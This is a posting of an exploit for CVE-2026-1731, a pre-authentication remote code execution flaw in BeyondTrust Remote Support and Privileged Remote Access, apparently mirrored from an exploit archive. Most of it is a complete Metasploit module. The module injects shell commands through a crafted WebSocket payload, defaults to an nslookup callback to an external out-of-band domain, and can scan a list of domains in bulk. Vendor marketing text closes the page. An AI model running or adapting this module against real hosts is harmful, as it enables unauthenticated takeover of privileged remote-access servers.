=============================================================================================================================================
| # Title : BeyondTrust Remote Support / Privileged Remote Access – Pre‑Authentication Remote Code Execution |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) |
| # Vendor : https://www.beyondtrust.com/ |
=============================================================================================================================================
[+] Summary : A critical pre‑authentication Remote Code Execution (RCE) vulnerability identified as CVE-2026-1731 affects products from BeyondTrust, specifically Remote Support and Privileged Remote Access.
The vulnerability allows an unauthenticated attacker to execute arbitrary commands on a vulnerable system by abusing a specially
crafted WebSocket connection. The issue stems from improper input validation and unsafe handling of user-controlled data during the WebSocket communication process.
[+] Affected Versions :
The vulnerability affects the following versions of BeyondTrust products: Remote Support (RS)
Affected versions: 25.3.1 and earlier This means any device running these versions prior to 25.3.2 is vulnerable. Privileged Remote Access (PRA)
Affected versions: 24.3.4 and earlier Any PRA plan running version 24.3.4 or earlier is vulnerable to this vulnerability.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'BeyondTrust Remote Support/Privileged Remote Access Pre-auth RCE',
'Description' => %q{
This module exploits CVE-2026-1731, a pre-authentication remote code execution
vulnerability in BeyondTrust Remote Support and Privileged Remote Access.
The vulnerability allows unauthenticated attackers to execute arbitrary commands
on the target system through a specially crafted WebSocket connection.
},
'Author' => [
'Bipin Jitiya (@win3zz)', # Original Python script
'indoushka' # Metasploit module author
],
'References' => [
['CVE', '2026-1731'],
['URL', 'https://attackerkb.com/topics/jNMBccstay/cve-2026-1731/rapid7-analysis'],
['URL', 'https://github.com/win3zz/CVE-2026-1731'] # Assuming GitHub repo exists
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('TARGETURI', [true, 'The base path to the BeyondTrust application', '/']),
OptString.new('CMD', [true, 'The command to execute', 'nslookup {{callback}}']),
OptString.new('CALLBACK_DOMAIN', [false, 'Callback domain for nslookup (replaces {{callback}} in CMD)', '']),
OptPath.new('DOMAINS_FILE', [false, 'File containing list of domains to scan']),
OptBool.new('VERBOSE_OUTPUT', [false, 'Enable verbose output', false])
]
)
register_advanced_options(
[
OptInt.new('WEBSOCKET_TIMEOUT', [true, 'WebSocket connection timeout in milliseconds', 5000])
]
)
end
def verbose_print(msg)
print_status(msg) if datastore['VERBOSE_OUTPUT']
end
def run_host(_ip)
if datastore['DOMAINS_FILE'] && File.exist?(datastore['DOMAINS_FILE'])
File.readlines(datastore['DOMAINS_FILE']).each do |domain|
domain = domain.strip
next if domain.empty?
check_and_exploit_domain(domain)
end
else
check_and_exploit_domain(rhost)
end
end
def check_and_exploit_domain(domain)
print_status("Checking #{domain}")
company = fetch_company_info(domain)
return unless company
print_good("Found company: #{company}")
execute_websocket_attack(domain, company)
end
def fetch_company_info(domain)
['http', 'https'].each do |proto|
uri = "#{proto}://#{domain}/get_portal_info"
verbose_print("Checking: #{uri}")
begin
res = send_request_cgi(
'uri' => '/get_portal_info',
'method' => 'GET',
'rhost' => domain,
'rport' => datastore['RPORT'],
'ssl' => (proto == 'https')
)
if res && res.code == 200
verbose_print("Raw response: #{res.body}")
if res.body =~ /company=([^;]+)/
company = Regexp.last_match(1).strip
return company
end
end
rescue Rex::ConnectionError, Rex::TimeoutError => e
verbose_print("Error connecting to #{domain}: #{e.message}")
end
end
print_status("No portal info or company found for #{domain}")
nil
end
def prepare_command
cmd = datastore['CMD']
if datastore['CALLBACK_DOMAIN'] && !datastore['CALLBACK_DOMAIN'].empty?
cmd.gsub!('{{callback}}', datastore['CALLBACK_DOMAIN'])
end
if cmd.include?('{{callback}}')
random_callback = "#{Rex::Text.rand_text_alphanumeric(8)}.oast.fun"
cmd.gsub!('{{callback}}', random_callback)
print_warning("Using random callback domain: #{random_callback}")
end
cmd
end
def execute_websocket_attack(domain, company)
print_status("Running WebSocket action for #{domain}")
cmd = prepare_command
verbose_print("Using command: #{cmd}")
uuid = 'aaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa'
random_id = Rex::Text.rand_text_alphanumeric(4)
payload = "hax[$(#{cmd})]\n#{uuid}\n0\n#{random_id}\n"
verbose_print("WebSocket payload: #{payload.inspect}")
ws_uri = "wss://#{domain}:#{datastore['RPORT']}/nw"
begin
ws = connect_ws(
ws_uri,
'protocol' => 'ingredi support desk customer thin',
'headers' => {
'X-Ns-Company' => company
}
)
if ws.nil?
print_error("Failed to establish WebSocket connection to #{domain}")
return
end
print_status("WebSocket connection established to #{domain}")
ws.put(payload)
timeout = datastore['WEBSOCKET_TIMEOUT'] / 1000.0
begin
Timeout.timeout(timeout) do
while (response = ws.get)
print_line(response.to_s) unless response.to_s.empty?
end
end
rescue Timeout::Error
verbose_print("WebSocket read timeout")
end
rescue Rex::ConnectionError => e
print_error("WebSocket connection error: #{e.message}")
rescue StandardError => e
print_error("Error during WebSocket attack: #{e.message}")
verbose_print("Error details: #{e.backtrace.join("\n")}")
ensure
ws.close if ws
end
end
def connect_ws(uri, opts = {})
require 'rex/proto/http/web_socket'
begin
u = URI.parse(uri)
host = u.host
port = u.port
http_client = Rex::Proto::Http::Client.new(
host,
port,
{},
u.scheme == 'wss'
)
request = http_client.request_websocket_upgrade(
u.path,
opts[:protocol]
)
opts[:headers]&.each do |key, value|
request[key] = value
end
response = http_client.send_recv(request)
if response && response.code == 101 # Switching Protocols
return Rex::Proto::Http::WebSocket.new(http_client, response)
else
vprint_error("WebSocket upgrade failed: #{response.code}") if response
return nil
end
rescue StandardError => e
vprint_error("WebSocket connection error: #{e.message}")
nil
end
end
end
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation